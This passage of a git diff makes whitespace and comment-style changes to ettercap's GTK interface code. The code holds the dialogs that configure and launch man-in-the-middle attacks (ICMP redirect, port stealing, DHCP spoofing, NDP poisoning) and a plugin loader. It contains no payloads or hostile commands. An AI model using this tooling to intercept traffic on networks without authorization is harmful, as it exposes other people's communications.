gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); + gtk_entry_set_max_length(GTK_ENTRY(entry1), ETH_ASCII_ADDR_LEN); + gtk_table_attach_defaults(GTK_TABLE(table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); label = gtk_label_new("IP Address"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); - gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); - gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); + gtk_entry_set_max_length(GTK_ENTRY(entry2), IP6_ASCII_ADDR_LEN); + gtk_table_attach_defaults(GTK_TABLE(table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); -// memset(params, '\0', PARAMS_LEN); +// memset(params, '\0', PARAMS_LEN); - snprintf(params, PARAMS_LEN+1, "icmp:%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), - gtk_entry_get_text(GTK_ENTRY(entry2))); + snprintf(params, PARAMS_LEN + 1, "icmp:%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), + gtk_entry_get_text(GTK_ENTRY(entry2))); gtkui_start_mitm(); } @@ -191,7 +191,7 @@ void gtkui_icmp_redir(void) gtk_widget_destroy(dialog); /* a simpler method: - gtkui_input_call("Parameters :", params + strlen("icmp:"), PARAMS_LEN - strlen("icmp:"), gtkui_start_mitm); + * gtkui_input_call("Parameters :", params + strlen("icmp:"), PARAMS_LEN - strlen("icmp:"), gtkui_start_mitm); */ } @@ -200,71 +200,71 @@ void gtkui_port_stealing(void) GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; - - DEBUG_MSG("gtk_port_stealing"); - - dialog = gtk_dialog_new_with_buttons("MITM Attack: Port Stealing", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + + DEBUG_MSG("gtk_port_stealing"); + + dialog = gtk_dialog_new_with_buttons("MITM Attack: Port Stealing", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif - + hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); - - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); + + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); - + frame = gtk_frame_new("Optional parameters"); - gtk_container_set_border_width(GTK_CONTAINER (frame), 5); - gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(frame), 5); + gtk_box_pack_start(GTK_BOX(hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); - gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); - gtk_container_add(GTK_CONTAINER (frame), vbox); + gtk_container_set_border_width(GTK_CONTAINER(vbox), 5); + gtk_container_add(GTK_CONTAINER(frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); - gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); - + button2 = gtk_check_button_new_with_label("Propagate to other switches."); - gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { - gtk_widget_hide(dialog); - const char *s_remote= "", *tree = "", *comma = ""; + if (response == GTK_RESPONSE_OK) { + gtk_widget_hide(dialog); + const char *s_remote = "", *tree = "", *comma = ""; - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { - s_remote="remote"; + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button1))) { + s_remote = "remote"; remote = TRUE; } - - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { - if(remote) - comma = ","; - tree = "tree"; + + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) { + if (remote) + comma = ","; + tree = "tree"; } - - snprintf(params, PARAMS_LEN+1, "port:%s%s%s", s_remote, comma, tree); + + snprintf(params, PARAMS_LEN + 1, "port:%s%s%s", s_remote, comma, tree); gtkui_start_mitm(); } gtk_widget_destroy(dialog); - /* a simpler method: - gtkui_input_call("Parameters :", params + strlen("port:"), PARAMS_LEN - strlen("port:"), gtkui_start_mitm); + /* a simpler method: + * gtkui_input_call("Parameters :", params + strlen("port:"), PARAMS_LEN - strlen("port:"), gtkui_start_mitm); */ } @@ -272,78 +272,78 @@ void gtkui_dhcp_spoofing(void) { GtkWidget *dialog, *table, *hbox, *image, *label, *entry1, *entry2, *entry3, *frame, *content_area; gint response = 0; - + DEBUG_MSG("gtk_dhcp_spoofing"); -// memset(params, '\0', PARAMS_LEN+1); - - dialog = gtk_dialog_new_with_buttons("MITM Attack: DHCP Spoofing", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, +// memset(params, '\0', PARAMS_LEN+1); + + dialog = gtk_dialog_new_with_buttons("MITM Attack: DHCP Spoofing", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); - - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); + + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Server Information"); - gtk_container_set_border_width(GTK_CONTAINER (frame), 5); - gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(frame), 5); + gtk_box_pack_start(GTK_BOX(hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); - + table = gtk_table_new(3, 2, FALSE); - gtk_table_set_row_spacings(GTK_TABLE (table), 5); - gtk_table_set_col_spacings(GTK_TABLE (table), 5); - gtk_container_set_border_width(GTK_CONTAINER (table), 8); - gtk_container_add(GTK_CONTAINER (frame), table); + gtk_table_set_row_spacings(GTK_TABLE(table), 5); + gtk_table_set_col_spacings(GTK_TABLE(table), 5); + gtk_container_set_border_width(GTK_CONTAINER(table), 8); + gtk_container_add(GTK_CONTAINER(frame), table); gtk_widget_show(table); label = gtk_label_new("IP Pool (optional)"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); - entry1 = gtk_entry_new(); - gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); + entry1 = gtk_entry_new(); + gtk_table_attach_defaults(GTK_TABLE(table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); - - label = gtk_label_new("Netmask"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); + + label = gtk_label_new("Netmask"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); - gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); - gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); + gtk_entry_set_max_length(GTK_ENTRY(entry2), IP6_ASCII_ADDR_LEN); + gtk_table_attach_defaults(GTK_TABLE(table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); - label = gtk_label_new("DNS Server IP"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_table_attach(GTK_TABLE (table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); + label = gtk_label_new("DNS Server IP"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_table_attach(GTK_TABLE(table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry3 = gtk_entry_new(); - gtk_entry_set_max_length(GTK_ENTRY (entry3), IP6_ASCII_ADDR_LEN); - gtk_table_attach_defaults(GTK_TABLE (table), entry3, 1, 2, 2, 3); + gtk_entry_set_max_length(GTK_ENTRY(entry3), IP6_ASCII_ADDR_LEN); + gtk_table_attach_defaults(GTK_TABLE(table), entry3, 1, 2, 2, 3); gtk_widget_show(entry3); response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); -// memset(params, '\0', PARAMS_LEN); +// memset(params, '\0', PARAMS_LEN); - snprintf(params, PARAMS_LEN+1, "dhcp:%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), - gtk_entry_get_text(GTK_ENTRY(entry2)), gtk_entry_get_text(GTK_ENTRY(entry3))); + snprintf(params, PARAMS_LEN + 1, "dhcp:%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), + gtk_entry_get_text(GTK_ENTRY(entry2)), gtk_entry_get_text(GTK_ENTRY(entry3))); DEBUG_MSG("ec_gtk_dhcp: DHCP MITM %s", params); gtkui_start_mitm(); @@ -352,8 +352,8 @@ void gtkui_dhcp_spoofing(void) gtk_widget_destroy(dialog); /* a simpler method: - gtkui_input_call("Parameters :", params + strlen("dhcp:"), PARAMS_LEN - strlen("dhcp:"), gtkui_start_mitm); - */ + * gtkui_input_call("Parameters :", params + strlen("dhcp:"), PARAMS_LEN - strlen("dhcp:"), gtkui_start_mitm); + */ } #ifdef WITH_IPV6 @@ -365,17 +365,17 @@ void gtkui_ndp_poisoning(void) gboolean oneway = FALSE; DEBUG_MSG("gtk_ndp_poisoning"); -// not needed, the \0 is already appended from snprintf -// memset(params, '\0', PARAMS_LEN+1); +// not needed, the \0 is already appended from snprintf +// memset(params, '\0', PARAMS_LEN+1); - dialog = gtk_dialog_new_with_buttons("MITM Attack: NDP Poisoning", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OK, GTK_RESPONSE_OK, + dialog = gtk_dialog_new_with_buttons("MITM Attack: NDP Poisoning", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); @@ -383,107 +383,105 @@ void gtkui_ndp_poisoning(void) gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); - image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); - gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); - gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); + image = gtk_image_new_from_stock(GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); + gtk_misc_set_alignment(GTK_MISC(image), 0.5, 0.1); + gtk_box_pack_start(GTK_BOX(hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); - gtk_container_set_border_width(GTK_CONTAINER (frame), 5); - gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); + gtk_container_set_border_width(GTK_CONTAINER(frame), 5); + gtk_box_pack_start(GTK_BOX(hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); - gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); - gtk_container_add(GTK_CONTAINER (frame), vbox); + gtk_container_set_border_width(GTK_CONTAINER(vbox), 5); + gtk_container_add(GTK_CONTAINER(frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); - gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); - gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { - s_remote="remote"; + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button1))) { + s_remote = "remote"; remote = TRUE; } - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { - if(remote) + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) { + if (remote) comma = ","; s_oneway = "oneway"; oneway = TRUE; - } + } - if(!remote && !oneway) { + if (!remote && !oneway) { ui_error("You must select at least one NDP mode"); return; } - snprintf(params, PARAMS_LEN+1, "ndp:%s%s%s", - s_remote, comma, s_oneway); + snprintf(params, PARAMS_LEN + 1, "ndp:%s%s%s", + s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: - gtkui_input_call("Parameters :", params + strlen("ndp:"), PARAMS_LEN - strlen("ndp:"), gtkui_start_mitm); + * gtkui_input_call("Parameters :", params + strlen("ndp:"), PARAMS_LEN - strlen("ndp:"), gtkui_start_mitm); */ } -#endif +#endif -/* - * start the mitm attack by passing the name and parameters +/* + * start the mitm attack by passing the name and parameters */ static void gtkui_start_mitm(void) { DEBUG_MSG("gtk_start_mitm"); - + mitm_set(params); mitm_start(); } - /* * stop all the mitm attack(s) */ void gtkui_mitm_stop(void) { GtkWidget *dialog; - + DEBUG_MSG("gtk_mitm_stop"); /* create the dialog */ - dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, - GTK_MESSAGE_INFO, 0, "Stopping the mitm attack..."); - gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); - gtk_window_set_resizable(GTK_WINDOW (dialog), FALSE); + dialog = gtk_message_dialog_new(GTK_WINDOW(window), GTK_DIALOG_MODAL, + GTK_MESSAGE_INFO, 0, "Stopping the mitm attack..."); + gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); + gtk_window_set_resizable(GTK_WINDOW(dialog), FALSE); gtk_widget_queue_draw(dialog); gtk_widget_show_now(dialog); /* for GTK to display the dialog now */ - while (gtk_events_pending ()) - gtk_main_iteration (); + while (gtk_events_pending()) + gtk_main_iteration(); /* stop the mitm process */ mitm_stop(); gtk_widget_destroy(dialog); - + gtkui_message("MITM attack(s) stopped"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_offline.c b/src/interfaces/gtk/ec_gtk_offline.c index e553d64d6..594b17684 100644 --- a/src/interfaces/gtk/ec_gtk_offline.c +++ b/src/interfaces/gtk/ec_gtk_offline.c @@ -1,30 +1,29 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include /*******************************************/ - /* the interface */ void gtkui_sniff_offline(void) @@ -34,8 +33,6 @@ void gtkui_sniff_offline(void) gtkui_create_menu(0); /* offline menus */ } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_plugins.c b/src/interfaces/gtk/ec_gtk_plugins.c index 808357a35..9dc766200 100644 --- a/src/interfaces/gtk/ec_gtk_plugins.c +++ b/src/interfaces/gtk/ec_gtk_plugins.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -38,9 +38,9 @@ static void gtkui_create_plug_array(void); /* globals */ -static GtkWidget *plugins_window = NULL; -static GtkWidget *treeview = NULL; -static GtkListStore *ls_plugins = NULL; +static GtkWidget *plugins_window = NULL; +static GtkWidget *treeview = NULL; +static GtkListStore *ls_plugins = NULL; static GtkTreeSelection *selection = NULL; /*******************************************/ @@ -58,33 +58,33 @@ void gtkui_plugin_load(void) #else char *path = INSTALL_LIBDIR "/" EC_PROGRAM "/"; #endif - + DEBUG_MSG("gtk_plugin_load"); - + dialog = gtk_file_chooser_dialog_new("Select a plugin...", - GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, - GTK_STOCK_OPEN, GTK_RESPONSE_OK, - NULL); + GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + GTK_STOCK_OPEN, GTK_RESPONSE_OK, + NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), path); #ifdef OS_WINDOWS SAFE_FREE(path); #endif - - response = gtk_dialog_run (GTK_DIALOG (dialog)); - + + response = gtk_dialog_run(GTK_DIALOG(dialog)); + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); - + gtkui_load_plugin(filename); /* update the list */ gtkui_create_plug_array(); g_free(filename); } - gtk_widget_destroy (dialog); + gtk_widget_destroy(dialog); } static void gtkui_load_plugin(const char *full) @@ -98,8 +98,8 @@ static void gtkui_load_plugin(const char *full) file = strrchr(full, '/'); #endif /* remove the last / - split path and file - increment file pointer to point to filename */ + * split path and file + * increment file pointer to point to filename */ *file++ = 0; DEBUG_MSG("gtk_load_plugin %s/%s", full, file); @@ -107,22 +107,21 @@ static void gtkui_load_plugin(const char *full) /* load the plugin */ ret = plugin_load_single(full, file); - /* check the return code */ switch (ret) { - case E_SUCCESS: - gtkui_message("Plugin loaded successfully"); - break; - case -E_DUPLICATE: - ui_error("plugin %s already loaded...", file); - break; - case -E_VERSION: - ui_error("plugin %s was compiled for a different ettercap version...", file); - break; - case -E_INVALID: - default: - ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); - break; + case E_SUCCESS: + gtkui_message("Plugin loaded successfully"); + break; + case -E_DUPLICATE: + ui_error("plugin %s already loaded...", file); + break; + case -E_VERSION: + ui_error("plugin %s was compiled for a different ettercap version...", file); + break; + case -E_INVALID: + default: + ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); + break; } } @@ -132,65 +131,65 @@ static void gtkui_load_plugin(const char *full) void gtkui_plugin_mgmt(void) { GtkWidget *scrolled, *vbox; - GtkCellRenderer *renderer; + GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_plugin_mgmt"); - + /* if the object already exist, set the focus to it */ if (plugins_window) { - if(GTK_IS_WINDOW (plugins_window)) - gtk_window_present(GTK_WINDOW (plugins_window)); + if (GTK_IS_WINDOW(plugins_window)) + gtk_window_present(GTK_WINDOW(plugins_window)); else gtkui_page_present(plugins_window); return; } plugins_window = gtkui_page_new("Plugins", >kui_plug_destroy, >kui_plugins_detach); - + vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (plugins_window), vbox); + gtk_container_add(GTK_CONTAINER(plugins_window), vbox); gtk_widget_show(vbox); - - /* list */ + + /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); - + treeview = gtk_tree_view_new(); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); - g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_select_plugin), NULL); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Name", renderer, "text", 1, NULL); - gtk_tree_view_column_set_sort_column_id (column, 1); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Version", renderer, "text", 2, NULL); - gtk_tree_view_column_set_sort_column_id (column, 2); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Info", renderer, "text", 3, NULL); - gtk_tree_view_column_set_sort_column_id (column, 3); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection, GTK_SELECTION_SINGLE); + g_signal_connect(G_OBJECT(treeview), "row_activated", G_CALLBACK(gtkui_select_plugin), NULL); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes(" ", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Name", renderer, "text", 1, NULL); + gtk_tree_view_column_set_sort_column_id(column, 1); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Version", renderer, "text", 2, NULL); + gtk_tree_view_column_set_sort_column_id(column, 2); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Info", renderer, "text", 3, NULL); + gtk_tree_view_column_set_sort_column_id(column, 3); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); /* create the array for the list widget */ /* or refreshes it if it exists */ gtkui_create_plug_array(); - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_plugins)); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(ls_plugins)); gtk_widget_show(plugins_window); } @@ -198,16 +197,16 @@ void gtkui_plugin_mgmt(void) static void gtkui_plugins_detach(GtkWidget *child) { plugins_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (plugins_window), "Select a plugin..."); - gtk_window_set_default_size(GTK_WINDOW (plugins_window), 400, 300); - g_signal_connect (G_OBJECT (plugins_window), "delete_event", G_CALLBACK (gtkui_plug_destroy), NULL); + gtk_window_set_title(GTK_WINDOW(plugins_window), "Select a plugin..."); + gtk_window_set_default_size(GTK_WINDOW(plugins_window), 400, 300); + g_signal_connect(G_OBJECT(plugins_window), "delete_event", G_CALLBACK(gtkui_plug_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(plugins_window, gtkui_plugins_attach); - gtk_container_add(GTK_CONTAINER (plugins_window), child); + gtk_container_add(GTK_CONTAINER(plugins_window), child); - gtk_window_present(GTK_WINDOW (plugins_window)); + gtk_window_present(GTK_WINDOW(plugins_window)); } static void gtkui_plugins_attach(void) @@ -222,57 +221,56 @@ static void gtkui_plug_destroy(void) plugins_window = NULL; } - /* * create the array for the widget. - * erase any previously alloc'd array + * erase any previously alloc'd array */ static void gtkui_create_plug_array(void) { GtkTreeIter iter; int res; static int blocked = 0; - + DEBUG_MSG("gtk_create_plug_array"); - - if(ls_plugins) - gtk_list_store_clear(GTK_LIST_STORE (ls_plugins)); + + if (ls_plugins) + 